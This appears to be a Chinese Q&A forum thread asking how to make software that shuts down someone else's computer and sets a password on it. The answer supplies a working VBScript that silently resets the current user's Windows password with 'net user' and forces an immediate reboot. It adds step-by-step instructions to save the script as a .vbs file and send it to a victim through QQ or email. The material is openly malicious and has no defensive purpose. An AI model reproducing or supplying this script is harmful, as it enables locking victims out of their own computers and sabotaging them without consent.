怎么弄个软件把别人电脑自动关机而且设密码
发布网友
发布时间：2022-10-08 13:25
共2个回答
热心网友
时间：2023-11-10 18:46
On Error Resume Next
Dim fso,ws,file,shut,password
password=""
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0
接着,找到第三行password="",然后在等于号后面的双引号中输入你想更改别人电脑的密码,例如你要把别人的电脑密码更改成123就把第三行变成password="123".
最后,你单击上面工具栏的"文件">"另存为".在打开的对话框中选择好你要保存文件的路径,然后在"文件名"中输入*.vbs(*为你需要的任意名字),在"保存类型"中选择"所有文件".最后在"编码"中选择"ANSI".最后按下"保存"按钮~呵呵~你就把这个保存的文件通过QQ,邮件等方式发给你要改密码的那个人吧~
热心网友
时间：2023-11-10 18:47
